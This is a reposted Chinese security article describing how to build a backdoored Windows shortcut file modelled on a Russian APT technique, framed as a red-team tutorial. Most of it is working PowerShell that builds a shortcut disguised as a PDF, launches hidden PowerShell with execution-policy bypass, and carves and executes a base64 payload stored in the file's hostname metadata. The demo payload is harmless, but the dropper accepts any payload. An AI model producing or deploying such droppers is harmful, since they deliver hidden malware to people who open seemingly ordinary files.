安全路透社
当前位置:安全路透社 > 网络转载 > 正文

解析制作俄罗斯APT组织使用的快捷方式后门文件

01.png

在Word或zip文档中嵌入一个指向powershell的快捷方式文件(.lnk),是一种已知的恶意软件隐蔽传播方法,就连涉嫌干扰美国大选的俄罗斯APT组织也经常使用这种方法(参考:VolexityCrowdStrike)。例如,在奇幻熊(Fancy Bear)针对一些美国研究机构的网络渗透中,就使用了一种很少见的快捷方式文件后门攻击,通过该手段,攻击者不仅实现了powershell命令的嵌入执行,还能把整个payload存储在.lnk文件隐秘位置完成攻击调用,受害者一不小心点击了这种恶意的lnk文件,就会掉进攻击者布下的“陷阱”中。

对红方渗透人员来说,该攻击手段和相关样本的研究学习非常有用。本文中,我将展示如何制作“奇幻熊式”的恶意快捷方式文件(.lnk),通过该.lnk文件生成的恶意程序主体Dropper可应用于渗透测试场景中。该Dropper程序包含.lnk文件目标路径区域powershell、构造精巧的调用脚本和嵌入payload三个主要部分,结构流程如下图抽象所示:

02.png

规避目标系统的长度限制

我们都知道,在Windows系统中创建快捷方式文件非常简单:桌面环境下,右键点击鼠标,“新建”,然后“快捷方式”,之后跳出一个要求输入对象位置的对话框,以此就完成了一次.lnk文件创建。之后,如下图所示,我们可以查看一下该lnk文件的属性特征,并尝试向其目标路径(target)中添加其它参数。

2017-04-16_165105.jpg

在.lnk文件属性下的目标路径区域(target)中,可以加入最多260个字符数。由于有字符数的限制,为了创建一个快捷方式后门,我们只能将lnk文件指向例如powershell的执行程序,并在其中加入一段很小的经过封装的命令作为执行参数。但是,要突破这种目标路径区域的最大字符限制,可以通过jscript创建的WScript Shell对象快捷方式来实现,该方式可以向目标路径区域添加达1096个字符数。扩展增加后的目标路径区域如下图十六进制编辑器中所示:

03.png

对Lnk格式文件的利(làn)用

找到扩展增加目标路径区域字符数的方法,就可以实现向指向powershell中传递更多的执行参数,但对于熟谙.lnk文件格式的攻击者来说,这种方法还不足以执行足够大、足够精巧的调用脚本。

当一个快捷方式文件被创建之后,很多关于系统的元数据信息也被储存在其lnk文件中,例如驱动器标签、主机名称等:

04.png

当我研究了.lnk格式文件规范后发现,这些元数据都可能包含了一个不限长度的变量。就拿主机名称元数据来说,它可以储存一个任意长度的变量,而这点就可能被攻击者利用,用来嵌入任意payload,即目标路径区域内不允许执行的、有长度限制的payload,攻击者可以放到这里进行隐蔽存储和调用执行。

创建快捷方式后门“陷阱”文件

有了以上这些信息之后,可以尝试制作一个恶意的快捷方式陷阱文件。在这里,我直接选用系统内置的powershell作为脚本编译语言。以下是对该恶意lnk文件三个主体部分的制作思路:

第一部分,我们需要构造一个调用payload的powershell脚本。该脚本被以指向powershell执行的编码参数形式,存储在lnk文件属性的目标路径区域(target)中,当受害者点击了lnk文件之后,该脚本将会被自动执行。这个精心构造的脚本最终将会调用存储在lnk文件主机名称元数据区域的payload。以下是这个脚本的典型示例:

05.png

实现代码:

#--Carving script: will find and decode the script block
#--embedded in the shortcuts hostname

$payloadStartIndexInShortcut=1000;
$payloadSize=100;
$shortcutFilename="interesting-title.lnk";
#create a byte array to store the encoded payload
$encodedPayloadBytes=New-Object byte[]($payloadSize);
#read the contents of the shortcut, starting from $payloadStart
$lnk=New-Object IO.FileStream $shortcutFilename,'Open','Read','ReadWrite';
$lnk.Seek($payloadStartIndexInShortcut,[IO.SeekOrigin]::Begin);
$lnk.Read($encodedPayloadBytes,0,$payloadSize);

#Base64 decode encoded payload
$decodedPayloadBytes=[Convert]::FromBase64CharArray($encodedPayloadBytes,0,$encodedPayloadBytes.Length);
$scriptBlock=[Text.Encoding]::Unicode.GetString($decodedPayloadBytes);
#execute payload (script block)
iex $scriptBlock;

其次,第二部分就是突破目标路径区域长度限制,创建指向powershell脚本的快捷方式文件;最后一部分就是编写payload,该payload可以是嵌入到lnk文件元数据区域变量的base64执行程序,可以执行磁盘写入或内存写入等其它恶意功能。

最终实现代码

所有这三部分的最终代码实现可以参考以下快捷方式后门“陷阱”文件创建代码,该代码为powershell脚本,包含payload配置选项,并可用于渗透测试场景中,请勿用于非法目的。

#
# Create backdoored LNK file - by Felix Weyne
# Info: https://www.uperesia.com/booby-trapped-shortcut
# -Usage: place your powershell payload in $payloadContents
# -This payload can embed for instance an executable that needs
# -to be dropped to disk/loaded into memory
#

$shortcutName = "interesting-title-to-click-on.pdf.lnk"
$shortcutOutputPath = "$Home\Desktop\"+$shortcutName
$shortcutFallbackExecutionFolder="`$env:temp"
$payloadContents =
@'
    echo "This payload/script block can be huge, easily a few megabytes";
    echo $env:computername >> $Home\Desktop\IhaveRun.txt
    echo $env:computername >> $Home\Desktop\IhaveRun.txt
'@

$bytes = [System.Text.Encoding]::Unicode.GetBytes($payloadContents)
$payload = [Convert]::ToBase64String($bytes)

function Convert-ByteArrayToHexString($inputByteArray)
{
    $String = [System.BitConverter]::ToString($inputByteArray)
    $String = $String -replace "\-",""
    $String
}

function Convert-HexStringToByteArray ($hexString) {
    $hexString = $hexString.ToLower()
    ,@($hexString -split '([a-f0-9]{2})' | foreach-object { if ($_) {[System.Convert]::ToByte($_,16)}})
}

function CreateShortcut($payloadStart,$payloadSize) {

#<------>
#<Part 1: encode carving script>
#<------>

#$stP = startPayload, $siP = sizePayload,
#$scB = scriptblock, $lnk = filestream LNK file
#$b64 = base64 encoded scriptblok, $f=shortcut name
$carvingScript = @'
$stP,$siP={0},{1};
$f='{2}';
if(-not(Test-Path $f)){{
$x=Get-ChildItem -Path {3} -Filter $f -Recurse;
[IO.Directory]::SetCurrentDirectory($x.DirectoryName);
}}
$lnk=New-Object IO.FileStream $f,'Open','Read','ReadWrite';
$b64=New-Object byte[]($siP);
$lnk.Seek($stP,[IO.SeekOrigin]::Begin);
$lnk.Read($b64,0,$siP);
$b64=[Convert]::FromBase64CharArray($b64,0,$b64.Length);
$scB=[Text.Encoding]::Unicode.GetString($b64);
iex $scB;
'@ -f $payloadStart,$payloadSize,$shortcutName,$shortcutFallbackExecutionFolder
    write-host "Generated carvingscript:" -foregroundcolor "yellow"
    echo $carvingScript;
    $compressedCarvingScript = $carvingScript -replace "`n",''  -replace "`r",''

    # Convert string to base64 encoded command
    $bytes = [System.Text.Encoding]::ASCII.GetBytes( $compressedCarvingScript  )
    $encodedCommand = [Convert]::ToBase64String($bytes)

   
    #<------>
    #<Part 2: create shortcut with encoded carving script>
    #<------>

    $WshShell = New-Object -comObject WScript.Shell

    $Shortcut = $WshShell.CreateShortcut($shortcutOutputPath)
    $Shortcut.TargetPath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
    $Shortcut.Arguments = "-win hidden -Ep ByPass `$r = [Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('$encodedCommand')); iex `$r;"
    $Shortcut.IconLocation = "C:\Windows\system32\SHELL32.dll, 1"
    $Shortcut.Save()
}

#<------>
#<Part 3: find start of embedded payload (start of computer hostname)>
#<------>
write-host "Creating LNK with payload. This will enable us to see where the payload starts" -foregroundcolor "green"
$payloadSize = $payload.Length
CreateShortcut 9999 $payloadSize

$enc = [system.Text.Encoding]::UTF8
[string]$computerName = $ENV:COMPUTERNAME
$computerNameBytes = $enc.GetBytes($computerName.ToLower())

$readin = [System.IO.File]::ReadAllBytes($shortcutOutputPath);
$contentsLnkFile = (Convert-ByteArrayToHexString $readin) -join ''
$computerNameInHex = (Convert-ByteArrayToHexString $computerNameBytes) -join ''

$startPayload = ($contentsLnkFile.IndexOf($computerNameInHex)) / 2
write-host "Start of payload in LNK file is at byte: #"$startPayload -foregroundcolor "green"

#<------>
#<Part 3: create new link with correct start of payload
#<------>
Remove-Item $shortcutOutputPath

CreateShortcut $startPayload $payloadSize
write-host "Output LNK file: "  $shortcutOutputPath -foregroundcolor "Cyan"


#<------>
#<Part 4: embed payload
#<------>
$payloadBytes = $enc.GetBytes($payload)
$payloadInHex = Convert-ByteArrayToHexString $payloadBytes
$readin = [System.IO.File]::ReadAllBytes($shortcutOutputPath);
$contentsLnkFile = (Convert-ByteArrayToHexString $readin) -join ''
$contentsLnkFile = $contentsLnkFile -replace $computerNameInHex,$payloadInHex;

$writeout = Convert-HexStringToByteArray $contentsLnkFile;
set-content -value $writeout -encoding byte -path $shortcutOutputPath;

*参考来源:uperesia,freebuf小编clouds编译,转载请注明来自Freebuf.com

未经允许不得转载:安全路透社 » 解析制作俄罗斯APT组织使用的快捷方式后门文件

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册